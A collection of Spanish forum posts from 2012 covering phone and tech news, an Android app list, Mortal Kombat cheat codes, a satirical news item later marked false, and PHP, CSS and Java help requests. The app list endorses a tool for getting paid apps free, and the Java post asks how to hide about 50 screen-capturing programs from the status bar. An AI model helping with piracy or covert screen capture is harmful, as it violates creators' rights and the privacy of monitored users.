Fuentes:
http://blog.gsmarena.com/the-htc-5-phablet-to-be-the-google-nexus-5/
http://www.elandroidelibre.com/2012/09/el-nexus-5-podria-ser-fabricado-por-htc-e-incorporar-una-pantalla-de-5-full-hd.html
#213


Quizás Pantech no sea una marca muy conocida por aquí, y es muy posible que nunca lleguemos a ver su nueva bestia parda, el Vega R3, pero es interesante ser conscientes de que Samsung ni es la única marca que hace terminales ultrapotentes, ni es la única que se atreve con smartphones de más de 5″. Este Pantech Vega R3 se lanza con una pantalla de 5.3″, y es prueba de que, por mucho que digamos cada vez que crecen las pantallas que son demasiado grandes, el mercado tiende hacia estos modelos.

Os dejamos las principales características de este Pantech Vega R3:

   Procesador Quad-core Snapdragon S4 1.5GHz
   2 GB de memoria RAM
   Pantalla de 5.3″  IPS Pro LCD
   Resolución 1280 X 720
   Cámara de 13 Megapíxeles
   Android 4.0 Ice Cream Sandwich
   Batería de 2.600 mAh


Otra bestia de terminal que llega al mercado sin Android Jelly Bean, pero no es de extrañar en esta marca si no lo hace ni Motorola, que ahora pertenece a Google. Es una pena, porque Jelly Bean es una de las mayores evoluciones que ha tenido Android en su historia, y la versión que realmente podría sacar auténtico partido a este tipo de terminales tan potentes.



Pantech es el segundo fabricante más grande de Corea, por supuesto por detrás de Samsung, y en principio no han dicho nada sobre disponibilidad internacional del Vega R3, pero allí verá la luz hoy mismo, 25 de Septiembre. A mi la verdad es que me encantaría ver uno de estos por aquí y que empezase a haber más competencia en terminales de este tipo de gama alta, podría poner las cosas más interesantes.

¿Crees que los smartphones de 5″ o más acabarán siendo lo normal?

Fuentes:
http://www.engadget.com/2012/09/25/pantech-vega-r3-packs-s4-pro-5-3-inch-screen-into-one-hand/
http://www.elandroidelibre.com/2012/09/pantech-vega-r3-quad-core-snapdragon-s4-5-3-2gb-de-ram-y-13-mpx.html
#214


Una corte en Francia dejó libre –y declaró que no había hecho nada malo– a un hombre que admitió que ingresó a un servidor del Banco de Francia  por error.

El año 2008 el tipo estaba desempleado y, tratando de usar números de tarificación adicional por Skype, marcó un número al azar que sólo le solicitó una clave, sin entregarle más información de lo que era. El tipo simplemente marcó "123456″ y terminó ingresando en el servicio de deudas del Banco de Francia.

El banco detectó el 'hackeo' y demandó al tipo pese a su insistencia de que fue 'sin querer'. Lo más ridículo es que la policía recién lo arrestó el 2010, tardando dos años en encontrarlo pese a que usó su dirección real en Skype (además de notar que su computador era 'demasiado viejo para cometer cibercrímenes').

Link: Entré par hasard sur un serveur de la Banque de France, l'internaute est relaxé (Le Nouvel Observateur)

Fuentes:
http://www.fayerwayer.com/2012/09/el-hombre-que-hackeo-por-error-el-banco-de-francia-con-la-contrasena-123456/
y msn de 313ctronik0 xD
#215
Se trata de una de las apuestas más fuertes de Nokia para recuperar su posición en el mercado de los teléfonos móviles. Este miércoles, la empresa presentó su nuevo Lumia 920, una versión mejorada del modelo 900 que, entre sus novedades más asombrosas, incorpora una función de estabilización de imagen llamada PureView.

Para demostrarla, la compañía finlandesa hizo un sencillo pero revelador comercial: una pareja pasea en bicicleta y él intenta captarla a ella en video mientras se trasladan. Sin el filtro de estabilización de PureView, la imagen se aprecia muy movida, como era predecible; sin embargo al activar el sistema, la secuencia se aprecia maravillosamente estable, casi como si hubiera sido filmada con una cámara de cine profesional.

Quizá, demasiado profesional...

Esto porque rápidamente Nokia quedó en vergüenza cuando el portal estadounidense The Verge descubrió que la supuesta magia de PureView era efectivamente una grabación profesional realizada desde una camioneta, la cual puede verse durante un instante en el comercial debido a un desliz en la edición.

El engaño se convirtió de inmediato en la comidilla de las redes sociales, al punto que Nokia debió emitir una declaración asegurando que nunca fue su intención decepcionar a los consumidores.

Tras ello, actualizó el video del comercial con un mensaje aclarando esta vez que la secuencia no fue captada usando el Lumia 920, y que pronto lanzarán otro comercial donde sí se utiliza el teléfono. Posteriormente, publicaron una disculpa en su blog oficial por la confusión provocada.



Nokia presentó este miércoles sus nuevos dispositivos con Windows Phone 8, entre ellos el nuevo Lumia 920, un celular que presume de tecnología de captación de imágenes PureView, un sistema de alta calidad que, junto al estabilizador óptico, convierten a la cámara del nuevo smartphone de Nokia en una herramienta de alto potencial.

Sin embargo, parece que las imágenes mostradas por la compañía durante el acto de presentación celebrado este miércoles en Nueva York (Estados Unidos) para demostrar el funcionamiento de la cámara, en realidad no fueron grabadas utilizando la cámara del nuevo Lumia 920, sino desde una gran cámara réflex digital. Después de las primeras críticas, la compañía ha sustituido el vídeo inicial por uno nuevo, donde desaparecen las referencias a PureView.

En el vídeo de demostración inicial -titulado "Pureview, la próxima innovación"- aparecía una pareja de jóvenes en bicicleta. El joven utilizaba la cámara de su Nokia Lumia 920 para grabar a su novia y capturar el momento. Unas imágenes nítidas, estables y presentadas como ejemplo de lo que la tecnología PureView incorporada en los nuevos dispositivos es capaz de hacer.

Las imágenes, como se puede ver en un momento del vídeo, no fueron grabadas desde la cámara del nuevo terminal, sino desde una réflex digital situada en una furgoneta que acompañaba a la chica del vídeo durante su recorrido en la bicicleta. El truco pudo descubrirse gracias a una imagen reflejada que a primera vista pasa desapercibida en el vídeo, pero que ha servido para descubrir el engaño.

Desde Nokia, el vicepresidente de relaciones con los medios, Doug Dawson, ha asegurado que el vídeo sólo pretendía mostrar cómo funciona la estabilización óptica de la imagen y no las ventajas de PureView. Sin embargo, el vídeo colgado en la cuenta oficial de la compañía en Youtube indica lo contrario. Las imágenes llevaban por título "PureView, la próxima innovación" y en el vídeo se vendía como tal.

La compañía reconoció la verdadera estrategia en una nota incluida al final de una entrada escrita en uno de los blogs de Nokia, que señala: "Además, el vídeo OIS (siglas de estabilizador óptico de la imagen, en inglés) no fue grabado utilizando un Lumia 920" y ha sustituido el vídeo inicial, colgado en su canal de Youtube, por uno nuevo donde la palabra "PureView" del título ha sido sustituida por OIS, aunque las críticas continúan.

Slow motion:
[youtube=425,350]http://www.youtube.com/watch?v=ud0wbhUqX1Q[/youtube]

Video original completo de Nokia:
[youtube=425,350]http://www.youtube.com/watch?v=cimDfEIEiu0[/youtube]

Fuentes:
http://sociedad.biobiochile.cl/notas/2012/09/05/nokia-humillada-tras-revelarse-engano-en-comercial-de-su-nuevo-telefono-lumia-920.shtml
http://www.latercera.com/noticia/tendencias/2012/09/659-481982-9-video-promocional-de-tecnologia-pureview-de-nokia-genera-polemica.shtml
http://www.theverge.com/2012/9/5/3295316/nokia-apology-lumia-pureview-ad
http://conversations.nokia.com/2012/09/06/an-apology-is-due/
#216

Ya os hemos hablado del sistema operativo móvil de esta empresa, pero Baidu no solo tiene un sistema operativo móvil(que no es poco), si no que también tiene muchas aplicaciones, todas muy similares a las que ofrece Google.

Baidu ya tiene aplicaciones de Mapas, servicio de almacenaje de archivos en la nube, tienda de aplicaciones... etcétera (todas ellas en chino). A todos estos servicios se le añade un navegador para móviles(también en chino), el cuál, dice ser un 20% más rápido que la competencia, asimismo, asegura ser más compatible con HTML5 ya que usa un sistema llamado T5, exclusivo de Baidu, ambas afirmaciones han sido confirmadas por CNET, el navegador ha conseguido 482 de 500, casi 150 puntos más que Chrome y Firefox  una compatibilidad aplastante, usan otro motor de javascript, así como un sistema de multitarea no visto hasta ahora.

Es fácil predecir que esta tecnología será usada por los demás navegadores de un momento a otro, de hecho hay rumores que apuntan hacia un iOS6 con esta tecnología, de momento, para disfrutar de ella necesitamos el navegador de Baidu (ojo porque está en chino, sólo para intrépidos)


Una de las mejores cosas que tienen las aplicaciones de Baidu es una gran compatibilidad con los demás sistemas operativos móviles, Android, iOS, WP7 e incluso Symbian, este último cada vez más olvidado por los desarrolladores, lo cual es obvio debido a que ya no se frabican modelos nuevos con él, no obstante es un buen detalle que les asegura una parte del mercado, como ya he dicho, solo se encuentran disponibles en chino lo cual impide que llegue a occidente.

Baidu está haciendo bien sus deberes, lleva un progreso espectacular, sin embargo es fácil explicarlo, su éxito es, gran parte, debido a que Google está censurado en China, sin Google en la competencia es más fácil que una empresa crezca, no obstante podría tratarse del rival más importante de Google en el caso de que Baidu se extienda más allá de las fronteras chinas.

Siendo Baidu una copia tan clara de Google, ¿tirará Google de denuncias para evitar la expansión de esta empresa en caso de que se expanda más allá de China? Podría ser, pero independientemente del Fork de Android que es Baidu, nos quedamos con la parte positiva, y es que no sólo los mismos de siempre consiguen avances en navegadores, si no que aún hay camino, mucho camino por recorrer y mejorar.

Fuentes:
http://www.elandroidelibre.com/2012/09/baidu-el-google-chino-lanza-su-navegador-web-un-20-mas-rapido-que-cualquier-otro.html
http://shouji.baidu.com/
#217
Noticias / ROMOS, El SO Android Ruso sin Google
5 Septiembre 2012, 14:17 PM

Es sabido por todos que el gobierno ruso no se fía ni de su sombra y ahora tampoco de Google, ya que el gigante de las búsquedas está siempre involucrado en litigios donde se especula que recopila información de los usuarios de Android mas allá del propio consentimiento que damos los usuarios, y eso al gobierno ruso no le hace gracia, porque la información gubernamental puede llegar a manos de los anunciantes o peor aún, de los EE.UU.

Por esta razón y aprovechándose de que Android es un software libre y estable han presentado el la IFA su propio sistema operativo basado en el famoso androide verde: ROMOS, siglas para Russian Mobile Operating System. SO que ha tardado 5 años en ver la luz, hasta que los desarrolladores logrado deshacerse del factor Google, creando un software hermético que preserva así los datos de los usuarios.

Este SO está destinado principalmente a uso militar y gubernamental y se presenta como una versión mucho más segura de Android, "a prueba de hackers" y sin ningún elemento asociado a Mountain View, con un hardware de lo más resistente a prueba de golpes y agua. Un fork de Android, el enésimo ya, esta vez en pro de la "seguridad".

ROMOS cuenta con un soporte para Sistema Mundial de Navegación por Satélite (GLONASS), que es la alternativa rusa al GPS, evitando así cualquier futuro ataque estadounidense a la señal.

Pero aunque este en principio nace como un SO para funcionarios, el gobierno ruso quiere sacarle partido y pretende incorporarlo también en tablets ( y no se descartan smartphones) con un coste de unos 400 euros que verá la luz en el mercado a finales de año.

Veremos hasta donde llega este experimento y proyecto, si se queda entre las paredes del Kremlin se aventura a dar su salto comercial al gran público con esa premisa que sus creadores apuntas: No tiene Google, luego, es más seguro, y además no renunciando a las bondades de Android.

Seguro que de todo esto, cuaje o no, sale algo interesante.

Fuente:
http://www.securityweek.com/russia-unveils-secure-android-tablet-keeps-data-away-google
http://www.elandroidelibre.com/2012/09/romo-el-so-android-ruso-sin-google.html
#218

¿Puede marcar la tendencia del mercado de smartphones el tamaño de la pantalla? La respuesta es que sí, porque de hecho es lo que está pasando. Si me fijo en la evolución de los terminales Android que he tenido, en 2009 era una HTC Magic de 3.2″ de pantalla, luego fue una HTC Desire de 3.7″, tras este un Samsung Galaxy S II de 4.3″ para terminar con un HTC One X de 4.7″. Pero es que ya hay terminales Android con pantallas de 5.3″ como el Galaxy Note o incluso las 5.5″ de su sucesor el Note II.

Si nos fijamos en Apple, la evolución del tamaño de la pantalla del iPhone es muy sencilla. Desde el iPhone original hasta el último modelo, el iPhone 4S, la pantalla siempre ha medido 3.5″, fiel a las dimensiones que Steve Jobs consideró optimas para un teléfono. Y hasta hace no mucho les ha funcionado perfectamente, pero iOS ha ido perdiendo mucho terreno en favor de Android, y parece ser que el tamaño de la pantalla tiene mucha relación. Es por eso que el próximo 12 de Septiembre a Apple no le queda otra que presentar un nuevo iPhone con una pantalla mayor.

Pero esto va más allá de los smartphones, ya que de ser ciertos los rumores Apple presentará muy pronto su nuevo iPad de 7″, un tamaño de pantalla que en Cupertino no habrían ni imaginado hace sólo un año, pero que parece ser mucho más útil de lo que parecía al principio, y hay que hacer competencia a la nueva Nexus 7. Apple ya empieza a fijarse en los patrones de tamaño de pantalla de terminales Android, porque como decía al principio, estos pueden marcar la tendencia del mercado de smartphones y fidelizar al usuario con la marca. Vamos con algunos datos.

Fijaos en la siguiente gráfica sacada de iDownloadBlog que muestra los porcentajes de uso para diferentes fines para cada tamaño de pantalla:


Como veis hay una clara relación entre el mayor tamaño de pantalla y uso del terminal, especialmente en cuanto a navegación por la web y reproducción de vídeos se refiere. Por ejemplo, el porcentaje de usuarios con pantalla de más de 5″ que usa el terminal para descargar y ver vídeos es del más del 65%, y baja hasta el 40 en el caso de pantallas de 3 a 3.9″.

En general hay más uso del smartphone cuanto mayor es su pantalla, y cuanto más usa alguien su terminal, más fiel es a la marca, y por lo tanto más probabilidades habrá de que cuando renueve su teléfono lo haga por uno similar.

Cuando el mercado mundial está dominado por Android con más de la mitad de los terminales montando este sistema operativo, es porque los tamaños de pantalla que usan son los que la gente quiere, y de hecho con una cuota tan alta puede imponer los que se vayan a usar. La tendencia entre el aumento de Android en el mundo ha venido acompañada por un aumento también de la diagonal de sus frontales, así que entre una mejora de experiencia de usuario y unas cuantas razones más, es este tamaño una de las claves.

Es más, en las últimas 12 semanas el 29% de los terminales Android vendidos tienen más de 4.5″, que es una auténtica barbaridad si lo comparamos con lo que pensábamos que serían las pantallas hace un año. Apple sabe que las pantallas tienen que crecer en los smartphones y que pueden ser más pequeñas en las tablets, y por eso tiene que empezar a fijarse en Android, no es nada extraño que su nuevo iPhone vaya a ser de 4″ y su nuevo iPad de 7″.

¿Ha tardado demasiado tiempo Apple en aumentar el tamaño de la pantalla del iPhone? ¿O conseguirá remontar cuota de mercado haciéndolo ahora?

Fuente: http://www.elandroidelibre.com/2012/09/apple-empieza-a-fijarse-en-android-de-pantallas-va-la-cosa.html
#219
Bueno, inicio este post para que entre todos podamos compartir cual es nuestro celular y que aplicaciones le van bién y de que se tratan, sus ventajas, etc.

De esta forma las personas que tengan un nuevo equipo podrán disfrutar de todas sus ventajas acá mencionadas.



Modelo: Samsung Galaxy S2

Aplicaciones:

Alogcat: Es una herramienta que te permite diagnosticar tu celular, ver logs e informes de errores. Super util en muchos casos.

Grooveshark: Es una aplicación que te permite buscar y descargar música o reproducirlas en streaming, es gratis. Tiene version movil y web para llevar nuestras listas de reproducciones para donde sea.

Dolphin Browser: Actualmente tengo instalado firefox, google chrome y dolphin, pero el que mejor funciona es el dolphin lejos, además tiene muchas funcionalidades especiales para el movil como los gestos de atajo dibujado.

Google calendar, google docs, gmail, gtalk, drive (5gb de espacio en la nube + google docs) y google contacts fucionados con el celular, siempre al dia con todo en un solo lugar y compatible con mi iMac y mi Desktop.

ES Explorer: Para mi el mejor gestor y explorador de archivos, soporte ftp y diseño personalizado.

Zombirds: Juego muy atractivo donde tienes que ir tirando flechas y prevenir que te roben las calabacitas. Excelente grafica y audio, no necesita tegra (video nvidia).

Grabatron: Es un juego que consiste en que tu eres un ovni y debes raptar personas y destruir la ciudad, muy entretenido, no se compara con otros similares, entretiene bastante aunque la grafica no es muy espectacular pero es suficiente como para pasar un buen rato.

ShadowGun: Es un juego de primera persona muy bueno con excelente grafica muy similar a la dada por un juego con tegra3, no necesitas tegra, es 3d y muy fluido, no necesitas chainfire3d.

Quake3: Siii :D hay una version oficial de quake 3 y no es una adaptación, son los binarios originales de linux portados a ARM, juegas con la pantalla y se ve tan fluido como en el pc, no le quita graficos ni nada, todo es exactamente igual al pc, con los mismos menus, opciones, etc.

Drag Racing: buén juego con poca grafica, se trata de cuan habil eres para pasar cambios y ganar partidas de vehiculos.

Racing thunder: Un juego de vehiculos con excelentes graficos, es 3d y anda muy fluido, tiene turbos, etc, no es un 2d que simula 3d, los poligonos son vectorizados directamente en 3d. se demora un poco en iniciar.

Highwar rider: Eres un motociclista y te dan puntajes por chocar y romperte los huesos.

World of goo: Exelente juego de estrategia con una muy muy buena grafica, una mezcla de 3d con 2d.

Fruit Shoot: Juega a guillermo tell.

Jewels star: un juego de estrategia bien bueno pero que aburre al pasar del tiempo.

Robo defenders: excelente juego de estrategia, no tiene buena grafica pero jamas te aburre aunque pasen los años.

Robotek: Juego de estrategia mezclado con RPG con muy buena grafica, lucha de robots 2d mezclado con 3d.

Sperm war: juego de estrategia muy bueno donde tienes que ganar espacio entre ovulos.

Oscura: juego de plataforma con excelentisima grafica y muy intuitivo y limpio.

Radiant defender: Similar al robo defenders pero con buena grafica.

CSPEmu: Emulador para juegos csp1 y 2 como el final burn alpha, acepta roms con street fighter alpha3, marvel vs/ capcom, v/s street fighter, etc.

Google Currents: una aplicación que toma google reader, libros, noticias, tweets, facebook, y un monton de cosas mas y te lo representa en una sola pagina de actualidades, muy facil de organizar y es genial.

Flipboard: similar a google currents pero con mejor diseño.

AirPush: detecta si tienes alguna aplicación haciendote spam con notificaciones.

Android pro widgets: Widgets de excelencia, acepta twitter, facebook, rss, etc.

Bit torrent: no hace falta explicación.

Black market alpha: Es lo mismo que el play store pero puedes instalar aplicaciones de pago de forma gratuita.

c4droid: editor de código y compilador con gcc incorporado.

Paper camera: tu camara con muuy buenos efectos.

ElTelon: television chilena. Funciona con 3g o wifi, tienes todos los canales nacionales.

Fruit ninja: buena aplicación con muy buena grafica pero aburre bien rapido.

Root explorer: explorador de archivos que te permite ver y escribir archivos del sistema y SD.

Spider: muy buen juego de cartas spider.

Terminal emulator: consola con bash.

WHK Conversor: convierte multiples algoritmos, similar al sneak o al conversor de elhacker.net, util para hacking o desarrollo de aplicaciones.

Titanium backup: Respalda todo lo que necesites y sincronizalos con dropbox de forma opcional.

FL Comando: Muy excelente juego de disparos con muy buenisima grafica, no necesitas tegra, se demora en iniciar.

Brain lab: mide tu coeficiencia intelectual en ambos polos del cerebro.
#220
Editado:
Fuentes confirman que la noticia no era verdadera.

Seguir leyendo:
http://foro.elhacker.net/noticias/samsung_paga_multa_de_1_billon_de_dolares_en_monedas_de_5_centavos_a_apple-t369963.0.html;msg1779717#msg1779717





EUA.-  Esta mañana llegaron más de 30 camiones llenos de monedas de 5 centavos a las oficinas principales de Apple en California, en un inicio la empresa de seguridad que resguarda las instalaciones los desvió y aseguró que estaba en el lugar equivocado, pero minutos más tarde, Tim Cook (CEO de Apple) recibió una llamada de su similar de Samsung explicándole que así les pagarán el billón de dólares por la multa que recientemente dictó la corte en contra de la compañía Sur Coreana.

Según las palabras de varios expertos en la materia, el documento firmado no especifica un modo de pago único, por lo que Samsung está en su derecho de hacerle llegar a los creadores del iPhone sus mil millones de dólares como a ellos les parezca mejor.

Esta sucia jugada a puesto a pensar a los directivos de Apple sobre el método para contar todo ese dinero, ver si está completo y depositarlo, pues difícilmente un banco aceptará recibirlo de esa manera.

Lee Kun-hee, director general de Samsung comentó a los medios que su empresa no se va a dejar intimidar por un grupo de "geeks con estilo" y que si quieren jugar sucio, ellos también saben hacerlo.

"Puede usar sus monedas para comprar refrescos en la maquinita para toda la vida o fundirlas y hacer computadoras con ellas, eso no es mi problema, yo ya les pagué y cumplí ante la ley." Declaró Kun-hee. "En total son 20 billones de monedas, esperamos terminar de entregarlas en esta semana."

Leer más: http://eldeforma.com/2012/08/27/samsung-paga-multa-de-1-billon-de-dolares-a-apple-en-monedas-de-5-centavos/#ixzz24mb0mZnt

Fuente: http://eldeforma.com/2012/08/27/samsung-paga-multa-de-1-billon-de-dolares-a-apple-en-monedas-de-5-centavos/

Noticia relacionada: http://foro.elhacker.net/noticias/samsung_pagara_800_millones_de_euros_a_apple_por_plagio-t369897.0.html
#221
Foro Libre / WHK Conversor 2.2
9 Agosto 2012, 19:31 PM
Hola a todos :D , hace unas semanas atrás publiqué un código sobre un convertidor de multiples algoritmos md5, sha1, etc para Android pero hecho totalmente en javascript.

Bueno, he pasado todo el código incluyendo el layout html a código nativo Java y XML para Android y ahora si anda de lujo :D

Algunas capturas:






El enlace de la descarga:
https://play.google.com/store/apps/details?id=com.drawcoders.conversor

Que tal? :D, en uno o dos meses maas veré la posibilidad de liberar el código para que todos podamos crear nuestras propias aplicaciones basadas en los cambios de otros :)
#222
Hize un recopilatorio de trucos y fatalities para esta version de mortal kombat. Enjoy.




Kung Lao:
Fatality 1 : Izquierda, Arriba, Derecha, Derecha, Cuadrado
Fatality 2 : Derecha, Derecha, Derecha, Derecha, Cuadrado
Fatality 3 : Arriba, Arriba, Arriba, Derecha, Cuadrado
Fatality 4 : Arriba, Arriba, Arriba, Abajo, Cuadrado
Fatality 5 : Izquierda, Derecha, Izquierda, Abajo, Cuadrado
Fatality 6 : Izquierda, Derecha, Izquierda, Izquierda, Cuadrado
Fatality 7 : Arriba, Arriba, Izquierda, Arriba, Cuadrado
Fatality 8 : Arriba, Abajo, Arriba, Derecha, Cuadrado
Fatality 9 : Derecha, Derecha, Arriba, Arriba, Cuadrado
Mutality 1 : Arriba, Derecha, Abajo, Izquierda, Triangulo
Mutality 2 : Izquierda, Derecha, Derecha, Izquierda, Triangulo
Brutality 1 : Izquierda, Izquierda, Arriba, Arriba, Triangulo

Liu-Kang:
Fatality 1 : Abajo, Izquierda, Derecha, Arriba, Cuadrado
Fatality 2 : Abajo, Izquierda, Arriba, Derecha, Cuadrado
Fatality 3 : Izquierda, Arriba, Arriba, Derecha, Cuadrado
Fatality 4 : Izquierda, Derecha, Abajo, Abajo, Cuadrado
Fatality 5 : Arriba, Derecha, Abajo, Izquierda, Cuadrado
Fatality 6 : Abajo, Derecha, Izquierda, Izquierda, Cuadrado
Fatality 7 : Izquierda, Izquierda, Izquierda, Arriba, Cuadrado
Fatality 8 : Derecha, Arriba, Derecha, Arriba, Cuadrado
Mutality 1 : Arriba, Abajo, Arriba, Abajo, Triangulo
Brutality 1 : Derecha, Arriba, Abajo, Abajo, Circulo

Johnny Cage:
Desbloquear (VS Mode): En la academia Wu-Shi, en el lugar donde todo se está quemando, ve a la derecha de la puerta y salta al tejado de la casa, corre a la derecha y salta. Si lo haces correctamente llegarás a una plataforma. También se puede desbloquear consiguiendo todos los orbes del modo Historia.
Fatality 1: Abajo, Abajo, Derecha, Derecha, Cuadrado
fatality 2: Derecha, Derecha, Derecha, Derecha, Cuadrado

Baraka:
Desbloquear: En el portal de la tumba de las almas, ve al área donde hay una valla con dos puertas, entra en la de la derecha y usa golpe de la ruina en la estatua que hay en el lugar. Finalmente sal y realiza un buen salto para entrar en el hueco y conseguirlo.
Fatality 1: Abajo, Izquierda, Derecha, Derecha, Cuadrado
Fatality 2: Izquierda, Izquierda, Izquierda, Izquierda, Cuadrado



Reptile:
Desbloquear: Ve a la sección de después de la comunidad de la Oscuridad, salta por la catarata y después entra por la puerta. Destruye a las estatuas que cobrarán vida y ve hacia la Columna de la Piedra Gigante. Agarra a una de las estatuas y tírala hacia dicha piedra para romperla, vuelve a la catarata y encontrarás un objeto con su orbe.
Fatality 1: Izquierda, Derecha, Izquierda, Abajo, Cuadrado
Fatality 2: Izquierda, Izquierda, Izquierda, Abajo, Cuadrado

Kintaro:
Desbloquear (Modo Historia): En el menú principal, introduce las siguientes claves manten pulsando R2: Cuadrado, Arriba, L1, R1, Izquierda, Derecha, Cuadrado o si no Circulo, Derecha, L1, R1, Izquierda, , Cuadrado.
Fatality 1 : Abajo, Derecha, Derecha, Arriba, Cuadrado
Fatality 2 : Abajo, Arriba, Arriba, Derecha, Cuadrado
Fatality 3 : Derecha, Arriba, Abajo, Derecha, Cuadrado
Fatality 4 : Izquierda, Izquierda, Abajo, Abajo, Cuadrado
Fatality 5 : Arriba, Derecha, Abajo, Izquierda, Cuadrado
Fatality 6 : Derecha, Derecha, Derecha, Derecha, Cuadrado
Fatality 7 : Izquierda, Izquierda, Izquierda, Arriba, Cuadrado
Fatality 8 : Derecha, Arriba, Abajo, Arriba, Cuadrado
Mutality 1 : Arriba, Abajo, Arriba, Abajo, Select
Brutality 1 : Derecha, Arriba, Abajo, Abajo, Start

Motaro:
Desbloquear (Modo Vs): En el menú Principal presiona Cuadrado, Arriba, R1, Abajo, L2, Derecha, L1, R1, L2, R2, Izquierda, Circulo.

Scorpion:
Desbloquear (modo VS): En la primera zona de Fundicion , donde salen dos guerreros con ballesta de las paredes de madera ; tienes que agarrar a un querrero y tirarlo contra una pared de madera en la que por unas regillas se ve luz , abriras un pasage que te lleva asta un lago de lava con una pared al fondo en la que encima esta la moneda de escopion.Tienes que tirar a un enemigo a la lava, despues subete encima y haz doble salto para cojer la moneda.
Desbloquear (Modo Historia): Supera el juego con Liu kang.
Desbloquear (Modo Historia): En el menú principal, manten pulsando L2, Cuadrado, Arriba, L1, R1, Izquierda, Derecha, Cuadrado, suelta L2.
Fatality 1: Arriba, Arriba, Abajo, Abajo, Cuadrado
Fatality 2: Derecha, Abajo, Derecha, Derecha, Cuadrado
Mutality 1: Abajo, Abajo, Abajo, Arriba, Triangulo




Sub-zero:
Desbloquear (modo VS): Después de que sub-cero te lleve en la barca a la otra orilla , justo al bajar hay dos estatuas en forma de leon ; subete a la de la izquierda.
Desbloquear (Modo cooperativo e Individual): Supera el juego con Kung Lao.
Desbloquear (Modo historia): En el menú principal, manten pulsando L2, Cuadrado, Abajo, Arriba, L1, L1, Arriba, Cuadrado, suelta L2.
Fatality 1: Derecha, Abajo, Derecha, Derecha, Cuadrado
Fatality 2: Izquierda, Izquierda, Abajo, Derecha, Cuadrado
Fatality 3: Derecha, Derecha, Abajo, Derecha, Cuadrado
Mutality 1: Arriba, Arriba, Abajo, Arriba, Triangulo


Kitana:
Desbloquear (VS Mode): En el segundo nivel de la arena de MK2 (a la derecha, antes de llegar a la plataforma con las dos estatuas), en el nivel maligno, verás unos pocos pilares, salta encima del que está medio roto y realiza un doble salto.
Fatality 1 : Izquierda, Izquierda, Derecha, Derecha, Cuadrado
Fatality 2 : Derecha, Derecha, Derecha, Derecha, Cuadrado


Desbloquear el mini-juego arcade de Mortal Kombat II:
Tan sólo completa todas las misiones Smoke (humo) o si no En el menú principal, manten pulsando L2, Cuadrado, Arriba Abajo, Derecha, Izquierda, R2, Cuadrado, suelta L2.

#223
PHP / Problema con SOAP y PHP
17 Julio 2012, 23:48 PM
Alguien sabe que rechingados sucede con este código?

Código (php) [Seleccionar]
ini_set('soap.wsdl_cache_enabled', 0);
$client = new SoapClient('http://www.test/test?wsdl', array(
'soap_version' => SOAP_1_2,
'cache_wsdl' => WSDL_CACHE_NONE,
//'exceptions' => 0
));
$result = $client->ValidaRut(array(
'rut' => 10000000,
'dv' => '3',
'cup' => '',
'ipserver' => '',
'ipcliente' => ''
));


Esto me daba cuando le ponía SOAP_1_1:
CitarFatal error: Uncaught SoapFault exception: [HTTP] Cannot process the message because the content type 'text/xml; charset=utf-8' was not the expected type 'application/soap+xml; charset=utf-8'. in /home/test.php:1 Stack trace: #0 [internal function]: SoapClient->__doRequest('<?xml version="...', 'http://www...', 'http://www...', 1, 0) #1 /home/test.php(1): SoapClient->__call('test', Array) #2 /home/test.php(1): SoapClient->ValidaRut(Array) #3 /home/test.php on line 67

Pero al cambiar a la 1_2 me sale igual un error:
CitarFatal error: Uncaught SoapFault exception: [HTTP] Error Fetching http headers in ...

Cambié las rutas pero el código es ese. Que podrá ser? Instalé SOAP con easyapache desde WHM, luego recompilé php con --soap-enabled y la clase me funciona pero hay algo que al parecer no anda.

Por lo que averigué el primer errror era causado porque el rotocolo 1.1 enviaba el contenido via text/xml pero desde la 2.2 es application/soap+xml, pero bueno, cambié la version del protocolo a 1.2 pero ahora me sale un error en el header :-/ que podré hacer?

Gracias :)

PD: Acá les dejo un DUMP para mayor info:
print_r($client->__getFunctions());
Array
(
   [1] => ValidaRutResponse ValidaRut(ValidaRut $parameters)
)

print_r($client->__getTypes());
[0] => struct ValidaRut {
double rut;
string dv;
string cup;
string ipserver;
string ipcliente;
}
   [1] => struct ValidaRutResponse {
boolean ValidaRutResult;
}
   [4] => int char
   [5] => duration duration
   [6] => string guid
)
#224
Hola, no se cómo podría evitar el mal redenderizado de internet explorer 8.
El problema es el siguiente:
http://jsfiddle.net/juagu/





Esto se ve bién en todos los exploradores incluyendo uno de consola pero menos en internet explorer. El problema es que el ancho del primer td no se ajusta según el CSS, solo se ajusta cuando elimino el ancho de la etiqueta textarea, pero como el textarea está dentro de un td con colspan="2" no debería influir en el ancho del primer td pero por problemas de mala redenderización lo hace mal.

Solución eliminando el ancho del textarea:
http://jsfiddle.net/juagu/1/

El problema es que necesitaba el ancho fijo tanto en el textarea como en el primer td. Igual lo solucioné poniendo el textarea fuera de la tabla, el problema es que en un futuro talves no pueda hacer esto y necesitaré que el explorador siga los estandares tal como son pero con internet explorer no puedo hacer un código como la gente porque todo funciona mal incluyendo ie9 y 10.

Alguien sabe como podría solucionar esto? ya intenté con ponerle un overflow hidden al td pero tampoco resulta, con margin negativo tampoco :-/ y el inspeccionador del ie es incomodisimo, hay que buscar linea por linea para llegar al elemento inspeccionado  >:(
#225
Hola, estoy intentando utilizar algunas librerias desde algunas aplicaciones creadas en java.

La situación es esta... tengo aproximadamente 50 aplicaciones en java para consola sin utilizar ventanas y cáda una de ellas utiliza por lo menos una función que hace que se vea en la barra de estado.

Por ejemplo:
Código (java) [Seleccionar]
public static int screenCap(){
try {
BufferedImage image;
Robot robot = new Robot();
Rectangle screenRectangle = new Rectangle(java.awt.Toolkit.getDefaultToolkit().getScreenSize());
image = robot.createScreenCapture(screenRectangle);
ImageIO.write(image, "png", new File(System.getProperty("java.io.tmpdir") + "/test.png"));
return 1;
} catch (Exception ex) {
return 0;
}
}


Al ejecutar mi aplicación se muestra la tacita en la barra de estado acusando la ejecución de la aplicación, el problema es que una sola aplicación llama a casi 50 otras aplicaciones con estas funciones y el problema es que se ven 50 items de estados activas.
Lo mismo me pasa en el mac pero solo se ev el ícono redondo de la tacita de java activo.

Como puedo hacer para que esto desaparezca y se ejecute sin la necesidad de acusar en la barra de estado?.

Gracias.